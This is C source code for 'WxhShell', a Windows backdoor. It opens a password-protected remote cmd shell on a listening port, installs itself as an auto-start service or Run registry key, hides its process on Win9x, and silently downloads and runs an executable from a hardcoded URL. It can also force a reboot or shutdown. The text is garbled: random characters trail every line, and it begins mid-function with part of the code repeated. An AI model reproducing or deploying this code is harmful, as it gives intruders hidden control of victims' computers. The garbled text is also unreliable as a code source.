  // 关机 +wAH?q8f  
  case 'd': { v[r5!,F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )}-,4Iu%  
    if(Boot(SHUTDOWN)) &B</^:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S}/?L m}  
    else { ;^q@w  
    closesocket(wsh); *nv%~t   
    ExitThread(0); L"w% ew  
    } L8&$o2+07r  
    break; V'XmMn)!  
    } I.f)rMl+h  
  // 获取shell +J^-B}v  
  case 's': { z$VA]tI(  
    CmdShell(wsh); yEnurq%J  
    closesocket(wsh); 5Iv3B|u  
    ExitThread(0); 2{v$GFc/  
    break; TTS.wBpR,  
  } FCC9Ht8U?  
  // 退出 }/ p>DMN  
  case 'x': { 9t.u9C=!F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QJL%J  
    CloseIt(wsh); DS@ZE Q`F  
    break; lG\6z"K  
    } /AJ#ngXz  
  // 离开 /'V(F* g  
  case 'q': { ,cbCt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HC4vet  
    closesocket(wsh); Svs!C+:le  
    WSACleanup(); Osb#<9{}  
    exit(1); td:GZ %  
    break; kEH(\3,l  
        } h|=<I)}z  
  } X=i^[?C  
  } As$:V<Z  
0w0\TWz*   
  // 提示信息 *o}LI6_u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [jPUAr}  
} `D0>L '  
  } jE /pba4R  
"f/Su(6{0  
  return; 5'JONw'\  
} Qi 3di  
^xW u7q  
// shell模块句柄 }@kD&2  
int CmdShell(SOCKET sock) FKTdQg|NZ  
{ J}Q4.1WG$  
STARTUPINFO si; *hhPCYOm  
ZeroMemory(&si,sizeof(si)); LL|uMe"Jb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DrfOz#a0Uu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w4m -DR5  
PROCESS_INFORMATION ProcessInfo; 3{gD'y4j  
char cmdline[]="cmd"; *SW.K{{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K%Dksx7ow  
  return 0; }ze,6T*z  
} cQ= "3M)~r  
RTPxAp+\5  
// 自身启动模式 ::k>V\;  
int StartFromService(void) ra="4T$va  
{ WE_jT1^/  
typedef struct Q9-o$4#R[  
{ Xz,-'  
  DWORD ExitStatus; >zYO1.~  
  DWORD PebBaseAddress; !H,_*u.  
  DWORD AffinityMask; vdwh59W  
  DWORD BasePriority; {fwA=J9%KS  
  ULONG UniqueProcessId; svt%UE|_:$  
  ULONG InheritedFromUniqueProcessId; zG\g{cB  
}   PROCESS_BASIC_INFORMATION; 2~:jg1  
E5-f{Qc  
PROCNTQSIP NtQueryInformationProcess; 4NY00d/R  
vx:MLmZ.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K+9oV[DMs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (7C&I- l  
gmU_# J%~  
  HANDLE             hProcess; 'S_kD! BO  
  PROCESS_BASIC_INFORMATION pbi; wz!a;]agg  
!ke_?+ 8sY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u/`jb2eEU:  
  if(NULL == hInst ) return 0; -&4W0JK9  
yv.Y-c=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eBZa 9X$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cY%[UK$l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c\X0*GX  
Jr0D:  
  if (!NtQueryInformationProcess) return 0; q+A^JjzT  
?vHow$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4>q^W$  
  if(!hProcess) return 0; tTWeOAF  
ya!RiHj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %Pr P CT  
s[ {L.9Y  
  CloseHandle(hProcess); mI55vNyer  
?{bF3Mz=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( K5w0  
if(hProcess==NULL) return 0; @]*b$6tt  
v&BKl  
HMODULE hMod; gv&%2e}_  
char procName[255]; nZ;h&N -_-  
unsigned long cbNeeded; +f{CfWIKs  
.'3&!#3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JNQiCK,)}M  
qT`sPEs;V  
  CloseHandle(hProcess); z^+`S:  
\ (y6o}aW  
if(strstr(procName,"services")) return 1; // 以服务启动 DP2 ^(d<  
m$T?~o o  
  return 0; // 注册表启动 zdDn. vG  
} /:]`TlAb,  
'r KDw06/  
// 主模块 g.AMCM?z  
int StartWxhshell(LPSTR lpCmdLine) wzX 1!?  
{ RX-qL,dc  
  SOCKET wsl; UQGOCP_  
BOOL val=TRUE; "][MCVYP  
  int port=0; UjmBLXz@T  
  struct sockaddr_in door; y`"~zq0D  
~7Ji+AJA  
  if(wscfg.ws_autoins) Install(); @"BvyS,p  
T*,kBJ  
port=atoi(lpCmdLine); */=5m]  
a );>  
if(port<=0) port=wscfg.ws_port; f/spJ<B).4  
+Eil:Jz  
  WSADATA data; I]qml2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +r7uIwi$@  
]~my<3j}or  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gu+c7qe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =NyN.^bwT  
  door.sin_family = AF_INET; uzf@49m]m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g8 (zvG;Y  
  door.sin_port = htons(port); |_&Tu#er3  
e:9CD-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k+xj 2)d7  
closesocket(wsl); O'5d6m  
return 1; `aY{$>$S  
} ld~8g,  
19)fN-0Z  
  if(listen(wsl,2) == INVALID_SOCKET) { q 6Q;9,  
closesocket(wsl); >QwZt  
return 1; pfj%AP:  
} !^Mk5E(  
  Wxhshell(wsl); I!(.tu6u6c  
  WSACleanup(); #q{i<E 07  
Dp:u!tdbeg  
return 0; =}S*]Me5  
O.7Q* ^_  
} 8'=8!V  
@Q:5{?  
// 以NT服务方式启动 NTRw:'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N2yxli  
{ 0- GA,I_  
DWORD   status = 0; PV?XpT  
  DWORD   specificError = 0xfffffff; {I s?>m4  
%N\pfZ2\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !"u) `I2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Nrl&"IK|J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; S>~QuCMY  
  serviceStatus.dwWin32ExitCode     = 0; /yHM =&Vg]  
  serviceStatus.dwServiceSpecificExitCode = 0; lQs|B '  
  serviceStatus.dwCheckPoint       = 0; bP;cDQ(g  
  serviceStatus.dwWaitHint       = 0; 8i!~w 7z  
V1R=`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); . e2qa  
  if (hServiceStatusHandle==0) return; ayfZ>x{s*  
o'.6gZ gk  
status = GetLastError(); *&X.  
  if (status!=NO_ERROR) #4h_(Y  
{ !:Lb^C;/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vt`hY4  
    serviceStatus.dwCheckPoint       = 0; x{u7#s1|/  
    serviceStatus.dwWaitHint       = 0; pm<zw-  
    serviceStatus.dwWin32ExitCode     = status; {r2-^Q HF  
    serviceStatus.dwServiceSpecificExitCode = specificError; YQ>P{I%J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;I'pC?!y  
    return; K~nk:}3Ui  
  } 7&G[mOx0  
bK `'zi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]a|3"DP5  
  serviceStatus.dwCheckPoint       = 0; V}732?Jy  
  serviceStatus.dwWaitHint       = 0; -Z&6PT7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #84pRU~  
} D$k40Mz  
% R~9qO  
// 处理NT服务事件,比如:启动、停止 ^6v ob  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ri?eKy.-g  
{ t?^C9(;6  
switch(fdwControl) sMAc+9G9k  
{ h tbN7B(  
case SERVICE_CONTROL_STOP: ]E90q/s@c  
  serviceStatus.dwWin32ExitCode = 0; (;=:QjaoZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X&._<2  
  serviceStatus.dwCheckPoint   = 0; LP bZ.  
  serviceStatus.dwWaitHint     = 0; (j-[m\wF  
  { {t: ZMUV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C)> ])'S  
  } gBRhO^Sz  
  return; >8;Co]::kx  
case SERVICE_CONTROL_PAUSE: 2BOe,giy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F,#)8>O  
  break; _H|c _  
case SERVICE_CONTROL_CONTINUE: zECdj'/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =p>"PqJ/7n  
  break; =LJc8@<:f  
case SERVICE_CONTROL_INTERROGATE: rkA0v-N6v  
  break; d>:(>@wz  
}; &F" Mkyf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y >-|`2Z  
} *&)<'6  
jh.W$.Oq  
// 标准应用程序主函数 7G}vQO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0N.tPF}  
{ Xr~6_N{J  
h d1H  
// 获取操作系统版本 yvo~'k#c  
OsIsNt=GetOsVer(); '01H8er  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |i-Qfpn  
xKKL4ws  
  // 从命令行安装 D3yG@lIP3  
  if(strpbrk(lpCmdLine,"iI")) Install(); "iE9X.6NMu  
-bSe=09;S|  
  // 下载执行文件 06 gE;iT  
if(wscfg.ws_downexe) { MP,l*wVd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \s Fdp!M}2  
  WinExec(wscfg.ws_filenam,SW_HIDE); N1WP  
} j.4oYxK!s/  
cA ;'~[  
if(!OsIsNt) { ITh1|yP  
// 如果时win9x,隐藏进程并且设置为注册表启动 haW8zb0z  
HideProc(); :qy`!QPUm  
StartWxhshell(lpCmdLine); }gL9G  
} l5S (x Q  
else UwY<3ul  
  if(StartFromService()) 'X{cDdS^  
  // 以服务方式启动 L'4ob4r{L  
  StartServiceCtrlDispatcher(DispatchTable); &NV[)6!  
else (5?5? <  
  // 普通方式启动 Okca6=2"  
  StartWxhshell(lpCmdLine); (A?{6  
0~RsdQGqC  
return 0; U7J0&  
} KC o<%  
Y-&r_s_~  
,s0E]](  
%[4/UD=7  
=========================================== |E!()j=  
IXt2R~b  
9"2.2li5$  
~u1ox_v`%(  
V ?3>hQtB  
a_I!2w<I  
" a8aEZ724  
qVC_K/w 7  
#include <stdio.h> boo,KhW'Y  
#include <string.h> eA&hiAP/  
#include <windows.h> a&)0_i:r  
#include <winsock2.h> Pgg6(O9}B^  
#include <winsvc.h> c"t1E-Nsk  
#include <urlmon.h> 4vTO  #F  
k|-`d  
#pragma comment (lib, "Ws2_32.lib") c\UVMyE  
#pragma comment (lib, "urlmon.lib") } gyJaMA  
VB*N;bM^  
#define MAX_USER   100 // 最大客户端连接数 z h0m3|9O  
#define BUF_SOCK   200 // sock buffer ?GU/Rf!H#  
#define KEY_BUFF   255 // 输入 buffer 4NbX! "0  
S5d:?^PGg  
#define REBOOT     0   // 重启 RH ow%2D  
#define SHUTDOWN   1   // 关机 3tI=? E#  
8rXq-V_u  
#define DEF_PORT   5000 // 监听端口 &/R@cS6}'  
C.s{ &  
#define REG_LEN     16   // 注册表键长度 @/yRE^c  
#define SVC_LEN     80   // NT服务名长度 lDV8<  
%([$v6y  
// 从dll定义API Pca~V>Hd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *wP8)yv7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +FQ:Q+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #})Oz| c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $-"AMZ899  
:ORCsl6-  
// wxhshell配置信息 sF]v$ kq  
struct WSCFG { y?<[g;MuT  
  int ws_port;         // 监听端口 VgZ<T,SuW  
  char ws_passstr[REG_LEN]; // 口令 j>eL&.d  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~j 3B'  
  char ws_regname[REG_LEN]; // 注册表键名 Yqmx]7Y4  
  char ws_svcname[REG_LEN]; // 服务名 #NNj#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >joGG T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O;f^' N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4 C[,S|J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fOJk+? c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UA{sUj+?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 # j*$ `W;  
!$AVl MnJ  
}; J"|)?$d]z  
<qZXpQ#  
// default Wxhshell configuration ,oIZ5u{#,  
struct WSCFG wscfg={DEF_PORT, _baqN!N  
    "xuhuanlingzhe", 'LFHZ&-  
    1, %9[GP7?  
    "Wxhshell", (y^oGY;  
    "Wxhshell", Ol9U^  
            "WxhShell Service", f1=BBQY >  
    "Wrsky Windows CmdShell Service", x `PIJE  
    "Please Input Your Password: ", J[YA1  
  1, v6oPAqj,r  
  "http://www.wrsky.com/wxhshell.exe", riZFcVsB  
  "Wxhshell.exe" G6JyAC9j  
    }; Q'JEDH\  
JwB:NqB  
// 消息定义模块 s6Bt)8A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NUH;GMj,,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p1v:X?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0-0 )E&2  
char *msg_ws_ext="\n\rExit."; #"ayq,GC<  
char *msg_ws_end="\n\rQuit."; |/arxb&  
char *msg_ws_boot="\n\rReboot..."; aen(Mcd3bg  
char *msg_ws_poff="\n\rShutdown..."; 8jqt=}b  
char *msg_ws_down="\n\rSave to "; pW:h\}%`n  
jCW>=1:JGY  
char *msg_ws_err="\n\rErr!"; (&PamsV*8  
char *msg_ws_ok="\n\rOK!"; (J.(Fl>^  
#lltXqvD?  
char ExeFile[MAX_PATH]; ; VK;_d  
int nUser = 0; Z/q%%(fh 0  
HANDLE handles[MAX_USER]; >1pD'UZIy7  
int OsIsNt; ?*}76u  
MP[v 9m@  
SERVICE_STATUS       serviceStatus; \*LMc69  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n8[sR;r5f  
x@DXW(  
// 函数声明 eno*JK  
int Install(void); M=yZ5~3  
int Uninstall(void); $@x3<}X;  
int DownloadFile(char *sURL, SOCKET wsh); <B`}18x  
int Boot(int flag); {tOuKnnS  
void HideProc(void); J}jK_  
int GetOsVer(void); Vnh +2XiK  
int Wxhshell(SOCKET wsl);  3mWo`l  
void TalkWithClient(void *cs); "x\3`Qk  
int CmdShell(SOCKET sock); _QvyFKAM  
int StartFromService(void); gK(E0p"  
int StartWxhshell(LPSTR lpCmdLine); Ep5lm zg  
vlyq2>TfR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (n"  )  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P7egT,Z  
n,PHfydqX  
// 数据结构和表定义 ]~?k%Mpw  
SERVICE_TABLE_ENTRY DispatchTable[] = wrqdQ} @(  
{ &@dMk4BH<  
{wscfg.ws_svcname, NTServiceMain}, ,Lv} Xku  
{NULL, NULL} c::x.B"w  
}; Lom%eoH)  
32~Tf,  
// 自我安装 e"r}I!.  
int Install(void) /lr RbZ  
{ KG>.7xVWV7  
  char svExeFile[MAX_PATH]; !Q.c8GRUQ  
  HKEY key; V.y+u7<3}  
  strcpy(svExeFile,ExeFile); JTx}{kVO  
fEVuH]  
// 如果是win9x系统,修改注册表设为自启动 n!eg"pL  
if(!OsIsNt) { ,9?'Q;20  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V2g$"W?3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ljiq+tT  
  RegCloseKey(key); OzO_E8Kb\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]XPGlM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d[~c-G6  
  RegCloseKey(key); |o!<@/iH=  
  return 0; X[@>1tl  
    } * uEU9fX  
  } K"}Dbr  
}  \W=  
else { GK&yP%Z3  
So`xd *C!  
// 如果是NT以上系统,安装为系统服务 @b>]q$)(}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5&}icS  
if (schSCManager!=0) FblGFm"P  
{ :[ITjkhde0  
  SC_HANDLE schService = CreateService rA1 gH6D  
  ( 8OBvC\%  
  schSCManager, 2$\f !6p  
  wscfg.ws_svcname, s|,]Nb=z/  
  wscfg.ws_svcdisp, ZM|>Va/X  
  SERVICE_ALL_ACCESS, b%oma{I=.c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , etTuukq_Z  
  SERVICE_AUTO_START, 50I6:=@\\  
  SERVICE_ERROR_NORMAL, mceSUKI;L  
  svExeFile, Ce:R p?  
  NULL, aLsGden|  
  NULL, Ix(4<s  
  NULL, dHp6G^Y  
  NULL, L1F){8[  
  NULL  vo::y"  
  ); {#[a4@B0  
  if (schService!=0) "Q/3]hc.  
  { =pk'a_P 8-  
  CloseServiceHandle(schService); CC)9Ks\  
  CloseServiceHandle(schSCManager); y.O? c &!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ko5\*!|:lj  
  strcat(svExeFile,wscfg.ws_svcname); Z(<ul<?r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x _2]G'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ze 4/XR  
  RegCloseKey(key); ?BLOc;I&a  
  return 0; 26Yg?:kP  
    } >)N#n`  
  } }2\"(_  
  CloseServiceHandle(schSCManager); >|iy= Zn%'  
} ^-ACtA)  
} iF%q 6R  
SHGO;  
return 1; Fx@ {]  
} :EO}uP2  
hCDI;'ls  
// 自我卸载 YLCwo]\+>  
int Uninstall(void) a6]!4  
{ sW]n~kTt'  
  HKEY key; N!m%~},s//  
V`H#|8\i  
if(!OsIsNt) { {$EXI]f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I}q-J~s  
  RegDeleteValue(key,wscfg.ws_regname); #E ~FF@a  
  RegCloseKey(key); =.o-R=:d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HAiUFO/R  
  RegDeleteValue(key,wscfg.ws_regname); TtvS|09p;  
  RegCloseKey(key); E$1^}RGT)  
  return 0; 9:Y:Vx  
  } jqLyX  
} RhJ<<T.2  
} D3K`b4YV  
else { 6 %=BYDF  
eyE&<:F#J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uVk8KMYU  
if (schSCManager!=0) \ bhok   
{ QB.7n&u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]u,~/Gy  
  if (schService!=0) /Mk)H d  
  { YL. z|{\e  
  if(DeleteService(schService)!=0) { h49Q2`  
  CloseServiceHandle(schService); ]SPB c  
  CloseServiceHandle(schSCManager); =&pbh  
  return 0; G8&'*7Bb  
  } Yn#8uaU  
  CloseServiceHandle(schService); PWmz7*/  
  } 68!]q(!6F  
  CloseServiceHandle(schSCManager); SH(kUL5  
} |u+&xX7  
} D# $gdjZ  
4w?7AI]Ej  
return 1; q1gf9` 0  
} G !~BA*  
9=o b:  
// 从指定url下载文件 N\fT6#5B  
int DownloadFile(char *sURL, SOCKET wsh) nZT@d;]U9  
{ |-mazvA  
  HRESULT hr; jgstx3  
char seps[]= "/"; \1Bgs^  
char *token; $W?XxgkB?  
char *file; nx4aGS"F:  
char myURL[MAX_PATH]; \fhT#/0N  
char myFILE[MAX_PATH]; toWmm(7v  
ZX0c_Mk=  
strcpy(myURL,sURL); j{^(TE  
  token=strtok(myURL,seps); s/^k;qw  
  while(token!=NULL) kmoJ`W} N  
  { Z])_E 6.  
    file=token; n,F00Y R  
  token=strtok(NULL,seps); Chua>p!$g  
  } O)Qz$  
@( t:E`8  
GetCurrentDirectory(MAX_PATH,myFILE); Dr 1F|[  
strcat(myFILE, "\\"); yRYWx` G  
strcat(myFILE, file); s]N-n?'G"  
  send(wsh,myFILE,strlen(myFILE),0); j[fQs,efK  
send(wsh,"...",3,0); 3wE8y&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -b$OHFL  
  if(hr==S_OK) Q#N+5<]J)#  
return 0; </X"*G't  
else $imx-H`|  
return 1; c{Kl?0#[  
 (2li:1j  
} nADd,|xD3  
/ZDc=>)~  
// 系统电源模块 5\S7Va;W  
int Boot(int flag) sV<4^n7  
{ w b[(_@eZ  
  HANDLE hToken; k)s 7Ev*  
  TOKEN_PRIVILEGES tkp; 78)^vvn5~  
`/zt&=`VB  
  if(OsIsNt) { Dkb&/k:)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bw\=F_>L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (Pd>*G\  
    tkp.PrivilegeCount = 1; zl\#n:|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d]3sC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sJoi fl 7  
if(flag==REBOOT) { !d\GD8|4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #+ '@/5{n  
  return 0; m3!M L>nLt  
} GU3/s&9  
else { bY~v0kg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "o 3"1s>d{  
  return 0; .LhmYbQ2WE  
} CiI: uU  
  } _w;+Jh  
  else { :Y>] 6  
if(flag==REBOOT) { At(9)6n8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [QbXj0en$  
  return 0; .Qt3!ek  
} gN(hv.nQ  
else { <gLtX[v!CL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 05B+WJ1  
  return 0; m;f?}z_\$  
} }qhK.e  
} 5$U>M  
kW&Z%k  
return 1; qD*\}b]9I  
} sK0VT"7K  
F5+_p@ !i  
// win9x进程隐藏模块 gi'agB^  
void HideProc(void) A#S:_d  
{ <UJJ],)^1A  
7[BL 1HI*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |nN/x<v  
  if ( hKernel != NULL ) io7U[#  
  { C-u/{CP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ATM:As:<@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ ~qs-.?  
    FreeLibrary(hKernel); +[/47uFbI  
  } -5 /v`  
~[TKVjyO  
return; *"FLkC4  
} 2?iOB6  
_M[[vXH  
// 获取操作系统版本 WgJAr73 l  
int GetOsVer(void) q_y,j&  
{ jHlOP,kc  
  OSVERSIONINFO winfo; 7/_ VE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qYZ7Zt;  
  GetVersionEx(&winfo); Q5nyD/k4c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3D{4vMm X  
  return 1; 4>VZk^%b#  
  else yVHlT  
  return 0; gvqd 1?0w  
} d[e:}1  
|$w={N^4  
// 客户端句柄模块 FJ~_0E#L  
int Wxhshell(SOCKET wsl) :$i:8lz  
{ MW$H/:3  
  SOCKET wsh; @:+n6  
  struct sockaddr_in client; U?fN3  
  DWORD myID; H r^15  
)_*a7N!  
  while(nUser<MAX_USER) \h7J/es^p!  
{ Mp"ci+Iu  
  int nSize=sizeof(client); =+}}Sv2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BrH;(*H)8  
  if(wsh==INVALID_SOCKET) return 1; _$\5ZVe  
cJ##K/es  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k> &s( b  
if(handles[nUser]==0) P!+nZXo  
  closesocket(wsh); \1mM5r~  
else ~Oq,[,W  
  nUser++; &U$8zn~[k  
  } 0IgnpeA]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } ndvV~*1  
K= Z]#bm  
  return 0; 0*Km}?;0-  
} Uc_`Eh3y  
Fy@#r+PgWp  
// 关闭 socket nj^q@h  
void CloseIt(SOCKET wsh) %Mng8r  
{ *76viqY;dE  
closesocket(wsh); _lPl)8k  
nUser--; ?3, 64[  
ExitThread(0); )n}]]^Sc  
} 4ZJT[zi  
)yNw2+ ~5  
// 客户端请求句柄 ?FV7|)f  
void TalkWithClient(void *cs) nN=:#4 >Y  
{ oIvnF:c  
lii ]4k+z  
  SOCKET wsh=(SOCKET)cs; ))IgB).3M  
  char pwd[SVC_LEN]; 7t-*L}~WA  
  char cmd[KEY_BUFF]; [pW1=tI  
char chr[1]; $}^\=p}X  
int i,j; N=Uc=I7C  
@ojg`!,  
  while (nUser < MAX_USER) { h76NR  
Dl zmAN  
if(wscfg.ws_passstr) { Jn<e"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LPapD@Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t}XB|h  
  //ZeroMemory(pwd,KEY_BUFF); otz_nF;E  
      i=0; we\b]  
  while(i<SVC_LEN) { yxCM l.  
n4vXm  
  // 设置超时 3j+=3n,  
  fd_set FdRead; y4/>Ol]  
  struct timeval TimeOut; t?9 ;cS4  
  FD_ZERO(&FdRead); i_0 ,BV C  
  FD_SET(wsh,&FdRead); WAwfL?  
  TimeOut.tv_sec=8; 9*=@/1  
  TimeOut.tv_usec=0; HTDyuqs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1akD]Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YMj7  
)&Kn (l)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kj{rk^x  
  pwd=chr[0]; TOco({/_/  
  if(chr[0]==0xd || chr[0]==0xa) { fXu~69_  
  pwd=0; P34LV+e  
  break; xxLgC;>[  
  } `rz`3:ZH  
  i++; CRc!|?  
    } xH"W}-#[  
f/0v' Jt  
  // 如果是非法用户,关闭 socket Siz!/O!'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r*i$+ Z  
} {{.sEi*  
Y( 1L>4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V#gF*]q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6bbZ<E5At  
,5eH2W  
while(1) { ^_*jp[!`b$  
SRt$4EL21  
  ZeroMemory(cmd,KEY_BUFF); V@#*``M,3  
vh|Tb5W<  
      // 自动支持客户端 telnet标准   5W[3_P+  
  j=0; IqhICC1V-  
  while(j<KEY_BUFF) { 7 >PF~=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CJMaltPp&  
  cmd[j]=chr[0]; t+=12{9;f  
  if(chr[0]==0xa || chr[0]==0xd) { Ad]<e?oN=  
  cmd[j]=0; ']d!?>C@o  
  break; jiA5oX^g  
  } 4Vu'r?  
  j++; 3 x"@**(Q  
    } bK03 S Vx  
lFp!XZ!  
  // 下载文件 1u"R=D9p,=  
  if(strstr(cmd,"http://")) { c&7Do}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %rpR-}j  
  if(DownloadFile(cmd,wsh)) /S7+B ]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]z-']R;  
  else l zfD)TWb  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , @%C8Z  
